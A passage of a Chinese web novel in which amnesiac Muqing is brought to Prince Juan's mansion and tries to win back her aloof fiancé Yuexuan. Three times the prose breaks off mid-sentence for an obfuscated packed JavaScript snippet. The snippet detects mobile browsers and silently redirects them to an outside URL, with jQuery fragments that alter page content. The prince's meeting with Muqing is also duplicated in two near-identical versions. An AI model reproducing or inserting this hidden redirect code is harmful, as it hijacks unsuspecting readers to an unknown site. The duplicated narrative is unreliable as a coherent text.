案子刚了结,她就接到了无心加急送来的密信,里头详细描述了这位失忆“小师妹”的种种奇事,末了问她要不要来看看。
这谁能忍得住?她立即启程,快马加鞭赶来看热闹。
结果到了才知道,自己是被无心那小子坑了一把,白接了一样差事。
海棠绕着慕情转了一圈。
慕情一看她眼神变化,立即用双手捂住脸。
海棠的手指落了空,诧异道:“反应很快嘛。”
慕情无奈:“师姐,你不要老是捏我的脸。”
三师姐也不知什么爱好,最喜欢突然捏一下她脸颊,都给她练成条件反射了。
海棠挑了挑眉,“你叫慕情是吗?看来这一点老五倒是没胡说,你果然非常有趣。”
慕情看了看院子里,问道:“怎么不见无心师兄?”
海棠:“他啊,捧着你这个烫手山芋,好不容易把我骗过来接手,自然是马不停蹄地就溜了。”
慕情:“……”
师兄师姐拿她当皮球吗,互相踢来踢去。
“那……师姐,我们接下来去哪儿?”她轻声问道。
“师父发话了,”海棠回答得干脆,“带你回京城。”
慕情心头一松,还好,不是被随手扔掉。
海棠继续说道:“无心已经带人走了,我们也尽快动身,你……”
她目光落在慕情身上那身略显单薄的旧衣上,皱了皱眉,“有换洗的厚衣裳吗?”
慕情点点头:“有两套。”
“两套怎么够?”海棠语气不容置疑,“越往北就越冷,往常这时候京城都快下雪了,走,我带你去买衣服。”
说着,不由分说地拉起慕情的手腕就往外走。
慕情连忙道:“等一下,我去取帷帽。”说着转身跑回屋里。
“帷帽?”海棠一脸不明所以,看着她很快带着个围着白纱的帽子出来了。
她颇有些奇怪:“你为什么戴这个?”
慕情说不上来,“……不知道,可能就是……习惯了吧?”
海棠虽然不解,但也没多问。
她带着慕情直奔城中的成衣铺和首饰店,出手阔绰,不仅由里到外给她置办了好几套厚薄兼备的衣裙,还兴致勃勃地给她挑起了首饰。
慕情把头上的发钗取下来,无奈道:“师姐,我们不是要快些动身吗?”
怎么倒向专门来逛街的?
三师姐恍若未闻,又将一根珍珠簪子插在她头发上,退后两步观察,满意地点点头。
“急什么?”她漫不经心地回答,“快也要到明天早上才能出发,时间还有的是。况且无心那小子跑路前还特意留了信,说你这些日子闷闷不乐,让我务必带你出来散散心。”
她笑起来:“一会儿买完了东西,我们去吃好吃的去。”
慕情有些感动,哪怕不记得她,师兄师姐们也都对她很好。
海棠:“我小时候,就想有个布娃娃供我打扮,后来长大了想要个妹妹,可惜,师妹是有了,可老四……唉,不说也罢。”
慕情忍不住想笑,三师姐要是这么打扮四师姐,两人能打起来。
“这几个都要了。”海棠指了指桌上的东西,示意老板打包,一边对着镜子里的慕情啧啧有声。
“瞧瞧,这男人带孩子就是不行,多漂亮的小姑娘,就这么素面朝天的,连根好看的头绳都没给买。”
镜中的少女眉眼如画,新衣衬得肤色愈发莹白,簪上珍珠后更添几分清丽。
老板成了个大单,高兴坏了,在旁边更是猛地一顿夸。
连慕情听着都感觉惭愧了。
要出门时,她伸手拿起帷帽要戴上。
海棠却伸手轻轻一挡,目光扫过慕情焕然一新的打扮,又看向对面不远处酒楼的招牌,笑着说道:
“竭临港最大的酒楼鸿运楼就在旁边,几步路而已。刚打扮得这么漂亮,戴它做什么?有我在,能出什么事儿?”
慕情看着师姐的笑脸,心中那点因不戴帷帽而隐隐升起的不安,奇异地被抚平了。
她犹豫片刻,终是将帷帽放回原处,点了点头。
两人走在路上,不时有人看她们,但确实没有什么特别的事情发生。
海棠在众师兄姐中性格最热情爽朗,有她在身边转移注意力,慕情也渐渐习惯了,发现不戴帷帽走在大街上,也没有什么大不了的。
两人在鸿运楼享用了一顿丰盛的晚餐,又在外闲逛到夜幕降临,才尽兴而归。
第二日清晨,一行人便动身赶往京城,莫医师也跟她们一起。
从竭临港到京城,山遥水阔,路途漫漫。
大半个月后,马车终于驶入京城巍峨的城墙,停在眷王府庄严肃穆的朱漆大门前。
府邸深处,眷王李乘风端坐于主位。他虽两鬓已染霜华,但身姿挺拔,目光如炬,不怒自威。当慕情随海棠步入正厅,他锐利的目光便落在了她的身上。
“你就是慕情?”
慕情看见他有些紧张,恭敬上前行礼:“见过王爷。”
“你的父母是谁?”
慕情想了想,脑中只有一片空白,于是摇了摇头。
“我……不知道。”
眷王显然已经知道她失忆的事情,并未追问,只是眉峰微蹙:“我的确没有收过第六名弟子,也不曾私下教过别的什么人。不过……”
他顿了顿,严重掠过一丝不易察觉的困惑:“看你眉眼神态,确有几分眼熟。”
慕情对这种情况已经有些司空见惯了。
难得的是,连师兄师姐们都坚定不认识她,王爷居然觉得她眼熟。
慕情简直感动到要哭。
眷王话锋一转,又问道:“既然你自称是我门中之人,为何不称师父?”
慕情挠了挠头,诚实地小声道:“我也不知道,似乎我一直便是这么称呼您的。”
眷王不再多言,示意慕情上前。
他探手搭上她的腕脉,一股精纯温和的内力探入她体内,细细感知其经脉流转。
随后,他命人取来一柄未开锋的练习长剑。
“若离,你与她过几招。”
厅堂之内,剑影翻飞。
海棠并未全力施为,但慕情使出的剑招身法,灵动飘逸,根基扎实,与海棠同出一源,印证着无可辩驳的师承关系。
眷王凝神细看,眉头却越锁越紧。
那份熟悉感萦绕心头,却始终如雾里看花,抓不住源头。
最终,他挥了挥手:“罢了,你且先在府中住下。若离留下议事。”
海棠领命留下。
慕情则由王府一位管事嬷嬷引着,前往安排好的客院歇息。
穿过层层叠叠的回廊庭院,行至一处僻静角落时,慕情脚步不由自主地顿住了。
前方有一道不起眼的小门,门后隐约可见一方独立院落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668828|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院内似乎极为空旷,唯有一株虬枝盘结的老石榴树,顽强地探出高高的围墙,在深秋的风中挂着几颗干瘪的红果,显得格外孤寂清冷。
引路的嬷嬷见状,神色恭敬地提醒道:“慕情姑娘,那是世子爷的‘止院’。里头机关重重,是府中禁地,旁人绝不可擅入。姑娘日后在府中行走,记得绕开此处。”
慕情知道,但眼前止院的景象,与她印象中的有些出入。
望着那探出院墙的孤树,她心头一动,忽然想到要用无心师兄许诺的奖励换什么了。
几天后,在外办案的四师姐雪青黛也回来了,只是她性格冷淡,对慕情这个“意外”似乎并无多少好奇,只远远地、极其轻微地点了下头,便算打过招呼。
与此同时,远在南方追查“鬼王教”的月悬,也终于有了突破性的进展,传回密信,言明即将返京。
慕情心中那个关于“奖励”的念头愈发清晰。
她按捺着隐隐的期待,早早便守在了王府侧门旁的回廊下,目光不时飘向门外通往长街的青石路。
月悬和无心在东海分开后,各自追查“鬼王教”的蛛丝马迹,有所突破后一同入京。
但直至临近京城地界,两路人马才终于汇合。
夜色深沉,亥时的更鼓声遥遥传来,两人带着一身风尘,回到了熟悉的眷王府。
月悬下了马车,正要进门,忽然看到府门的阴影里,蜷着一个小小的身影,昏暗的灯笼光勾勒出她单薄的轮廓。
她抱着膝盖,脑袋歪靠在冰冷的门柱上,呼吸均匀绵长,显然是睡着了。
月悬的轮椅停下,只看了一眼就认出来是谁,只觉得脑门隐隐作痛。
他缓缓侧首,冷冽的视线如冰锥般刺向紧随其后的无心。
无心看清角落里的人,心头也是一惊,随即涌上大写的“糟糕”。
他想起来了!当日接到师父传信,得知要将慕情护送回京,他生怕这差事落在自己头上,恰逢三师姐海棠赶到,他简直是如蒙大赦,脚底抹油溜得飞快。
然后……忘了把师父的意思跟大师兄也说一声了。
现在面对大师兄的冷眼,无心只能缩了缩脖子,怂怂地解释。
“大师兄,你别这么看我,是师父下令带她回来的,具体怎么回事儿我也不知道呢,不如先去见师父再说?”
他说话声音压得极低,深怕惊醒了慕情。
然而怕什么来什么。府内脚步声由远及近,伴随着海棠那标志性的大嗓门,在寂静的夜里格外响亮:“大师兄!是你回来了吗?看见慕情那丫头没?她晚饭后就不见人影了!”
无心急得又是挤眉又是弄眼,拼命朝门内摆手示意海棠噤声。
可惜,晚了。
门柱旁蜷缩的身影被这熟悉的声音惊动,纤长的睫毛颤了颤,迷蒙地睁开眼。
当看清眼前端坐在轮椅上的清冷身影和一旁的无心时,慕情的睡意瞬间飞散,巨大的欢喜扑面而来。
她睡迷糊了,完全忘了月悬不记得她的事情,只剩下久别重逢的本能雀跃,想也没想地往月悬身上蹦!
月悬脸色骤变,几乎是本能地驱动轮椅急速后退。可电光石火间,又怕她收势不及摔伤,动作便有了刹那的迟疑。
就是这瞬息犹豫,慕情已结结实实地扑进了他怀里。
月悬的身体瞬间僵硬如石,一股陌生的、带着少女馨香的暖意将他笼罩,让他呼吸都为之一窒。
“你终于回来了!”慕情仰脸看他,声音里是毫不掩饰的欢喜,“我的礼物呢?”
15. 第 15 章
月悬不着痕迹地长吸一口气,伸出手,动作轻柔又不容抗拒地将怀中的少女推开。
“慕情姑娘,你认错人了。”
无心和海棠在旁边惊得目瞪口呆,这会儿也终于回过神来,连忙上前,七手八脚地将还处于懵懂状态的慕情拉开。
“咳!咳!”无心尴尬地清了清嗓子,“别闹,我们是去办正事,风餐露宿的,哪有什么礼物?”
慕情醒过神,看到月悬那张俊美却写满疏离与冷淡的脸,终于想起眼前的未婚夫已经不是曾经的未婚夫了。
而是陌生·冷若冰霜·超级难搞·需要重新追求版“未婚夫”。
她眼中的星光瞬间黯淡,脑袋沮丧地耷拉下来。
“对不起啊……”她小声嗫嚅,“我……我睡迷糊了。”
那委屈巴巴的调子,让人听了心尖都发软。
月悬看着眼前这颗瞬间蔫掉的小白菜,那点被冒犯的薄怒倒不好发作了。
他移开目光,只当看不出来慕情是在等他,语气平淡无波。
“夜深露重,回去歇息吧。”
慕情不死心,鼓起勇气,抬起湿漉漉的眼睛,带着最后一丝希冀追问:
“那……真的没有吗?一点点小东西都没有?哪怕……是海边捡的一块特别圆润的小石头也好呀……”
月悬语气更显冷淡:“我没有带伴手礼的习惯。”
他转动轮椅,大有“你不走,我走”的意思。
“等一会儿……”慕情急忙拦住他。
她顿了顿,终于想起了今日蹲守在此的目的,胸脯一挺,找到了索要礼物的正当理由。
“我协助清明司破了万岛礁的案子!无心师兄亲口答应过要给我奖励的,他说协助办案有功当赏!”
声音陡然拔高,理直气壮!
无心一听“奖励”二字,头皮都炸了。
他几乎是扑过去,伸手就想捂住慕情的嘴:“姑奶奶!你……”
他生怕这胆大包天、思维清奇的小祖宗当众说出什么“要大师兄陪我谈个恋爱”之类的惊世骇俗之语,那他的小命今晚就得交代在这里!
“啪!”慕情反应极快,一巴掌拍开他意图“灭口”的爪子,叉着腰,不满:“干什么?难道无心师兄说话不算话?骗我的?”
月悬的目光在两人之间扫了个来回,最终落在慕情那张写满“我很认真”的脸上。
他沉默了一瞬,才开口,声音听不出喜怒:“你要何奖励?”
慕情眼睛微微亮起,她深吸一口气,指着王府深处某个方向,清晰又响亮地说:“我要在止院里,种一棵桃树!”
如此奇怪的要求,让周围空气都凝固了一会儿。
月悬眉头微蹙:“为何?”
慕情扣手:“没有为什么……就是想种。”
无心在旁边摸了摸下巴,想起在慕情的幻境里,曾看到那铺天盖地的桃花林,即便在师兄的止院里,也是有桃花的。
当然,现实中的止院并没有。
大师兄性格沉静,不喜这类色彩清艳、浓烈灼目之物。
月悬显然跟他想到了同样的事情,眉目微垂,毫不犹豫地拒绝:“不行。”
“你找无心要别的奖励。”
他没有再给她继续说话的机会,对海棠说道:“你带她回去。父亲此时在府中吗?”
看他态度认真,海棠拉了拉还想说什么的慕情,答道:“师父外出了,想来这两日也快回来了。”
月悬点点头,率先带着钟武离开了前院。
慕情满脸沮丧。
明明以前每次外出回来,他都会给她带点什么,有的时候是吃的,有的时候只是路上随处见到的一些小玩意儿。
可如今想在他院里种棵树都这么难。
无心在她脑门上轻敲了一下:“你可真是屡出奇招,我敢打赌,师兄明日就得想办法把你送走。”
慕情腮帮鼓起,不服气地小声嘟囔:“我又没有提什么过分的要求。”
但心里多少伸出些担忧来。
·
次日,眷王李乘风回府,首先召见了慕情。
他端坐主位上,看起来年逾五十,两鬓已染霜华,但身姿挺拔,目光如炬,不怒自威。
当慕情随海棠一起步入正厅,他锐利的目光便落在了她的身上。
“你就是慕情?”
李乘风久居高位,为人有些严肃,对小辈们素来不算亲近。更让慕情心头打鼓的是,他应该也和师兄师姐们一样,不认识她了。
她紧张地捏了捏衣角,上前规规矩矩行了个礼:“见过王爷。”
李乘风打量着她,突然单刀直入地问道:“你的父母是谁?”
慕情想了想,脑中只有一片空白,只得诚实地摇了摇头。
“我……不知道。”声音带着点沮丧。
李乘风已经在信中知道她失忆的事情,并未追问,只是眉峰微蹙。
“你的事我已听说了。我的确没有收过第六名弟子,也不曾私下教过别的什么人。”
他顿了顿,眼中掠过一丝不易察觉的困惑:“不过……看你眉眼长相,确有几分眼熟。”
慕情闻言先是一愣,接着眼睛倏地亮了起来!
师兄师姐们都坚定表示以前不曾见过她,王爷居然觉得她眼熟!
她鼻尖都有点发酸,恨不得立刻扑过去抱住王爷的大腿喊“亲人呐!”
当然,她也只敢想想。
李乘风话锋一转,语气带上了质疑:“既然你自称是我门中之人,为何不称师父?”
慕情挠了挠头,小声道:“我也不知道,似乎我一直便是这么称呼您的。”
李乘风皱眉,不再多言,招手示意慕情上前。
他探手搭上她的腕脉,一股精纯温和的内力探入她体内,细细感知其经脉流转。
随后,他命人取来一柄未开锋的练习长剑。
“若离,你与她过几招。”他吩咐旁边的海棠。
“是。”海棠应声。
厅堂之内,剑影翻飞。
海棠并未全力施为,但慕情使出的剑招身法,灵动飘逸,根基扎实,与海棠同出一源,印证着无可辩驳的师承关系。
李乘风凝神细看,眉头却越锁越紧。
那份熟悉感萦绕心头,却始终如雾里看花,抓不住源头。
最终,他挥了挥手:“罢了,你先在府中住下,回去休息吧。若离留下议事,再去把其他几人叫过来。”
海棠恭敬领命。慕情也应声离开。
没过一会儿,其他人陆续到了。
李乘风将四个徒弟带到书房,对近来各地的公务进行讨论。
月悬和无心详细汇报了东海蜃案、竭临港王守仁父子案的进展,以及“鬼王教”看似沉寂实则转入地下的危险动向。
李乘风听完,也向他们同步了王守仁父子一案的后续,无心差人送回来的一应证据都已经呈送御前。皇帝指派了钦差大臣前往竭临港处置,只待核验无误便将人押解入京问罪。
随后,海棠和如霜也把各自的工作汇报了一下。
正事议毕,书房内的气氛稍微松弛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676091|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
无心觑着师父和大师兄的脸色,终于小心翼翼地把话题引到了那个绕不开的名字上。
“师父,您对这个慕情姑娘的来历……可有什么头绪?”
李乘风站起来踱了两步:“我不曾教导过她,但确实看着有几分眼熟……又一时想不起在何时见过。”
众人对视了一眼,心中均有些惊异。
难道竟然真的有什么渊源?
海棠说道:“这段时日我也在观察,这丫头性格倒是乖巧听话,在府中也从不乱跑,只偏爱厨房养的那只狸花猫。奇怪的是她对王府的格局似乎十分熟悉,从来不需要别人引路,来去自如,毫无初来乍到的陌生拘谨。”
月悬清冷的声音响起:“我们之前派了人去查她的背景,至今已一月有余,毫无线索。”
这姑娘就像是凭空出现一般,在此之前没有任何痕迹,偏又对清明司和眷王府了解颇深。
“凭空出现?”眷王摇了摇头,目光锐利,“我虽上了点年纪,但还不算老糊涂,既觉眼熟,必曾有过什么交集。只是……到底是谁呢?”
他一时陷入更深的沉思,书房内只剩下踱步时的轻微声响。
无心百无聊赖,目光在堆满卷宗的桌案上扫过,忽然被一个打开的锦盒吸引。
盒内红绒衬底上,静静躺着一尊玉质温润、雕工精湛的观音像。
他忍不住伸手虚点了点,打破沉寂:“师父,这玉观音成色真绝了!是哪位大人又挖空心思来巴结您了?”
眷王正沉浸在关于慕情的思绪里,闻言随口答道:“不是,再过几日是魏王府老王爷的寿辰,这玉……”
他话说到一半,目光落在玉观音那慈悲含笑的眉眼上,脑中突然飞快的闪过什么,脚步猛地顿住。
“玉观音……是她?”他喃喃低语道,“没错,像……太像了……”
他霍然起身,动作快得带倒了手边的茶盏也浑然不觉,径直到书房角落那堆存放画卷的紫檀木架前,快速翻找起来。
一卷卷画轴被快速展开又丢开,显然没有找到他想要的东西。
月悬四人被他突如其来的举动惊得同时站起:“父亲/师父?怎么了?”
李乘风停下翻找的动作,眉头微皱着,眼中既有震惊,也有不解。
他并未直接回答,而是转向月悬:“听寒,你善丹青,尽快帮我画一副慕情那丫头的画像,越像越好。”
月悬微蹙眉头:“父亲……”
李乘风抬手止住他的话,语气不容置疑的决断:“明日一早,我要再离京一趟,预计可能要到年底才能回来。听寒,在这期间,清明司和王府中一应事务由你决断。”
月悬:“……是。”
“还有……”李乘风顿了一下,对几人道,“看好慕情,照顾好她。”
闻言,四个晚辈面上神色都有些诧异,一头雾水地应了下来。
·
离开书房,无心忍不住挠头:“怎么个意思?难道这真是咱们的小师妹?”
“难说。”海棠啧啧称奇,“不管怎么样,既然师父吩咐了,就按他说的做呗。”
至于这“照顾好她”的任务落在谁头上……
几人对视一眼,老四如霜反应最快,招呼都不打一声,率先踏着树丛飞上屋檐,转眼没影了。
海棠一扶额:“诶呀我有点头疼,我先走了!”
话音落下时,人已在几丈开外。
无心不甘其后,只有声音远远传来,“我也头疼!大师兄辛苦你了!”
坐轮椅的月悬:“……”
16. 第 16 章
前脚几人还在书房里答应得好好的,后脚一群师弟师妹们便如蒙大赦,溜得比兔子还快,生怕被指派了“照顾小师妹”的差事。
月悬虽有些无奈,却并不生气,脸上神色也没有什么波澜。
身为排行第一的大师兄,眷王交代下来的任务,他本就责无旁贷,没有推脱的道理。
只是……
慕情对他天然的亲近,那份毫不掩饰、仿佛天经地义的亲昵与依赖,实在让人……有些措手不及,难以招架。
他正蹙眉思索这莫名的困扰,回廊拐角处,一个脑袋鬼鬼祟祟地又探了出来。
无心笑嘻嘻道:“大师兄,可要我去唤小师妹来你跟前儿?师父急着要那画像,时辰怕是不宽裕了。”
月悬眼皮都没抬,声音清冷无波:“不需要。”
“得嘞!”无心缩回脑袋,溜得那叫一个干脆利落,转眼就没了影儿。
月悬也不再耽搁,径直回到自己的止院。
他此番离京数月,幸而止院中有位哑仆日日洒扫,倒也没有积下灰尘。
雪白的宣纸在窗前书桌上铺开,月悬提笔悬腕,微顿了片刻,便行云流水地画了起来。
要提笔绘画时才发现,慕情的样子,不知何时竟然已经清晰地印在他的脑海里。
眉眼的弧度,唇角的笑意,甚至那带着点狡黠又执拗的眼神……根本不需要本人站在面前。
父亲吩咐要画得像,他也不免多花了些心神,笔尖细细描摹,勾勒每一处细微的轮廓与神韵。
待他搁下笔,窗外已是暮色四合。
书案之上,一幅美人图赫然呈现,墨痕淋漓处尽显风骨,风致嫣然。
月悬盯着看了一会儿,待墨迹彻底干透,便收了起来,命人即刻送去主院。
次日一早,眷王李乘风将府中诸事安排妥当,再次叮嘱月悬“务必看顾好慕情”,就带着画像匆匆离去。
偌大王府,一时只剩下几位年轻小辈。
除了远在边境的二师兄追影,其他几人手头的要案均已基本了结。
鬼王教的线索虽浮出水面,但其组织庞大,行事诡秘,需要继续长期追踪,不是一日之功。
而且时间已近年底,各地衙门陆续回京述职,各类年终总结报告也如雪花般飞入京城,正需人手。
因此,难得的,几人都留在了京城,处理周边地区的一些小案和各地呈递的卷宗。
加上一个身份成谜、活力四射的慕情,王府倒也平添了几分喧闹。
慕情不知道师徒几人在书房的对话,只听到王爷让月悬照顾她。
虽然不明缘由,但悬着的心终于落回了肚子里。
先前无心那句“大师兄定会想法子把你弄走”,可让她提心吊胆了好一会儿!
现在应该是不用担心了。
慕情忍不住偷笑起来,有了王爷的“尚方宝剑”,那她就可以彻底放飞自我了!
这些日子遇到的怪事不少,但都可以暂且按下。唯有“未婚夫跑了”这件,是刻不容缓的大事儿!
月悬不认识她了也不要紧,她重新追回来就是了。
慕情依稀记得,从前似乎很轻易就“拿下”了大师兄,可以说是一追就上手。想来这次也不会太难。
与其坐以待毙,不如主动出击!
慕情摩拳擦掌,决心要让大师兄看到她的好,看到她“娶”他回家的坚定决心。
她精心挑选了一个自认为大师兄心情尚可的午后,捧着一盒摆盘精美的点心,鼓起勇气拦在月悬去书房的路上。
她脸颊微红,捧着点心的指尖微微发颤,声音带着不易察觉的紧张和期待:“月悬师兄……尝尝我做的点心可好?我……我学了好久……”
月悬微微侧身,绕开了她,目光甚至未曾在她脸上停留半分,只留下一句冷冷淡淡的话语。
“不必。我不耽口腹之欲。你自己用吧。”
话音落下,人已经走远。
将那碟被精心装饰过的点心,连同她滚烫的心意,一同晾在了冰冷的廊下风中。
慕情:“……”
她拿起盒中精致的点心,狠狠咬了一口。
不吃算了,她自己吃!
“哟,小师妹,吃独食呢?见者有份啊!”无心不知从哪儿冒了出来,笑嘻嘻地凑近。
慕情把盒子递过去,闷声道:“只能吃一块。”
无心乐了:“怎么还搞差别待遇,我连吃大师兄‘剩下’的点心,都只能吃一块?”
慕情知道他是故意逗自己,却没什么心情,小声道:
“你又不爱吃甜的。”
“嘿,你还真挺了解我。”无心挑眉,拿起一块点心,却话锋一转,“可这不一样啊,这可是咱们‘小师妹’亲手做的爱心糕点,意义非凡!”
慕情看了看周围,凑近他,压低声音:“嘘,你不要告诉别人,这是我让人去街上买的……”
没办法,她这种厨房轰炸型选手,也就只能借花献佛,装装贤惠了。
无心哽住,把嘴里的点心咽了下去。
“我说呢,怎么跟醉春楼做的一个味儿。”
慕情忍不住“噗嗤”一声笑了出来。
见她心情转好,无心也嘴角微翘,道:“别怪做哥哥的没提醒你,大师兄也不爱吃这些。”
“我知道……”慕情垂头,她就是想试探一下。
以前她买这些小吃回来,递到月悬面前,他都会给面子的尝一口,给出两句夸夸,更何况这是她声称自己做的。
无心又从她的盒子里拈走一块,啧啧叹道:“照我说啊,你就死了这条心吧。大师兄那冷淡性子,要是那么容易开窍,也不至于单身至今。不信你出门打听打听,在你之前,这京城闺秀的芳心早就碎了一地了。”
讨厌,不仅吃她两块糕点,还要打击她好不容易鼓起的士气!
慕情一把盖上点心盒盖子,轻哼一声,下巴微扬:“你等着瞧!”
直球不成,她还有一百零八种迂回战术,整理整理可以写成一本《追夫秘籍》。
慕情对月悬的喜好和生活习惯了如指掌。
比如,每日辰时早饭之前,月悬会在止院附近的竹林练剑。
于是,慕情便也“恰好”在那个时辰,“晨练”到了竹林附近。
她不敢靠得太近打扰,便选了个不远不近、刚好能望见那抹月白身影的地方,自己也装模作样地比划起来,练些花拳绣腿。
动作笨拙滑稽,下盘不稳,时不时“哎呀”一声摔个屁墩儿,或者被自己的裙摆绊倒,发出不小的动静,完美地充当了背景噪音。
目的?当然是吸引月悬的注意,顺便暗示他:师兄你看我练得好差,快来指导我呀!
月悬大多数时候全程无视,仿佛她只是一缕无关紧要的风。
但她的笨拙和那份固执的坚持,本身就成了一种无法忽视的存在。
某日,慕情一时不慎,摔得格外狠,膝盖磕在坚硬的石子上,疼得她倒抽一口凉气,眼眶都红了。
就在那一瞬,月悬行云流水的剑招,似乎极其细微地……顿挫了那么零点一秒。
慕情顾不得疼,立即转头看去,刚好对上月悬的视线。
他表情平静,眉心微不可查的蹙着,并未说话,很快便移开目光,继续练剑。
月悬的轻功练得十分纯熟,但这对他来说依然是一件颇有难度的事情。即便已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693144|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经是冬日,一套剑法下来也会汗湿重衣。
他日日坚持,风雨不辍,是为了减缓腿疾进展,防止腿部肌肉萎缩。
慕情在敷衍锻炼的同时,其实也在揪心地观察着月悬。
她很心疼。
但她知道不能表现出来,只偷偷跟莫医师学了热敷药包的做法。
在每日锻炼后,亲手调配好药材,仔细炒热包好,再趁着月悬在书房处理公务时,让钟武悄悄送进去。
怕给月悬增添心理负担,她还千叮咛万嘱咐钟武:“千万别说是我弄的!他要是问起,就说是莫医师新配的方子,让大家试试效果。”
钟武是只效忠他家公子的,没有承诺她,只表示不会主动说明。
好在月悬平日里用药也不少,并没有特意关注这个用在腿上的热敷药包。
除此之外,慕情始终没有放弃要在止院里种桃树的“宏伟大业”。
月悬性格清冷,如雪如月,安静高洁得不染凡尘一般。
但她偏想要把这世间的热闹喧嚣和温暖色彩,都往他身上堆一堆。
止院太过清寂了。若是种上几株灼灼其华的桃花,春日里满院芬芳,暖香浮动,他总会多些暖意吧?
说不定……还能睹花思人?
慕情骚扰了王府里的花匠好几日,终于央他帮忙弄来两株上好的桃树苗。
然后又扒拉出一套旧花匠衣裳,趁月悬外出办事,鬼鬼祟祟摸到止院墙根下。
止院机关密布,阵法重重,但慕情对这里太熟悉了,闭着眼也能摸进去。
她悄无声息地来到止院的一个角落里,此处位置不显眼,想来多两株小树苗,月悬也不会注意到。
等到春天花开,这两株小树就会变得无比显眼。
慕情想到那时月悬错愕的心情,便忍不住偷偷笑起来。
她信心满满地抡起小锄头,刚刨了没两下,身后便传来一声听不出喜怒的轻唤。
“慕情姑娘。”
慕情浑身一僵,缓缓回头,正对上月悬那双深潭般的眸子。
“你怎么进来的?”月悬声音平静,却带着无形的压力。
慕情下意识挠头,眼神飘忽:“就……就这样走进来的啊……”
月悬眉头皱起:“这里阵法密集,十分危险。这次算你侥幸,下次绝不可再冒险擅闯。”
“才不是侥幸……”慕情小声嘟囔,心里涌起一阵委屈。
止院的防卫布置,大部分都是月悬曾亲自带着她装上的,在她经常玩耍的地方,也特意去除了危险伤人的利器,只留些困阵。
那些被小心呵护的记忆碎片涌上来,让她鼻子发酸。
“我就想种两棵树而已,又不干别的,你为什么不让?”
月悬也说不上来为什么,只是觉得,不可以。
他示意身后的钟武上前收缴树苗,语气淡淡:“给你树苗的花匠没告诉你吗?桃树需待春日栽种,否则难以成活。”
慕情看着桃树被收走,扁了扁嘴,声音闷闷的。
“我特意让人找的耐寒品种,开花也早,今冬种下,用油布做好保暖,只要熬过冬天活下来,明年春就能开花了……”
月悬看着少女低垂的脑袋和泛红的眼圈,竟一时无言。
他终究没再多说什么,只对钟武吩咐道:“送慕情姑娘回房。”
慕情连人带作案工具——树苗和小锄头,被客客气气却不容置疑地“请”了回去。
她的“桃花计划”再次宣告夭折。
不仅如此,第二天,止院门口还多了两队精神抖擞、来回巡逻的守卫。
慕情扒在窗边看着,气得直跺脚:“……”
月悬!你狠!
17. 第 17 章
自从上次溜进止院种树被逮,慕情感觉自己彻底被划入了止院“黑名单”。
每次她刚蹭到院墙边,守卫们便如临大敌,客客气气却又不由分说地将她请离。
但她是那么容易放弃的人吗?不是!
之后数日,慕情又数次尝试其他方法,试图挤进月悬的世界。
月悬出门巡查京城防务,她裹着厚厚的斗篷,像个小尾巴似的缀在后面,眼睛亮晶晶:“我跟你一起去呀!保证不添乱!”
回应她的是月悬头也不回的冷冽拒绝:“外面天寒风大,你的身体受不住。”
月悬在府中处理公文和案卷,她端着刚煮好的热茶,还没到门口就被钟武拦下了:“姑娘,茶我送进去就可以了。公子处理公务时,不喜人打扰。”
除了每日清晨的竹林练剑,她基本上只有用饭的时间才能见到月悬。
慕情在花园追上又要回去看卷宗的月悬,扬起笑容:“年底公文繁多,我帮你研墨理卷好不好?”
月悬摇头:“涉及公务,外人不合适插手。”
“……”慕情鼓了鼓腮帮子,退而求其次,“那……你给我个小案子练练手嘛?”
月悬的目光抬起,眉头微不可察地蹙紧:“这些事,无需你费心。”
慕情:“……”
怎么这也不让,那也不让。
她实在太闲了。
王府很大,但毕竟是她待惯了的地方,没有什么新鲜感。
偏偏这次回来以后被管得死死的,连独自出门逛逛街都不行。
这日,听闻月悬次日要去城郊处理一桩颇为棘手的案子,慕情觉得机不可失!
她起了个大早,背上塞满零嘴点心的小包袱,蹲守在府门必经之路,努力扬起一个自认最乖巧无害、充满期待的笑容。
“带上我吧!我保证不添乱,还能帮你端茶倒水、跑腿传话、望风警戒……”
“不必。”月悬甚至没听完她花样百出的求职宣言,离开轮椅径直上了马车,车帘落下前只丢下一句冰冷的命令,“在府里待着,别乱跑。”
马蹄声起,车辙滚动,只留给她一个绝尘而去的背影和呛人的微尘。
慕情:“……”
啊啊生气!!
每一次满怀热忱的靠近,都像一张投入寒潭的纸,连个涟漪都激不起来,只换来他愈发冰冷的拒绝和眉宇间那抹化不开的霜色。
接连受挫,慕情沮丧得像霜打的茄子,但她还是没有死心。
月悬不带她,还有别的师兄师姐!
她先是瞄上了性格最是洒脱不羁的无心师兄。
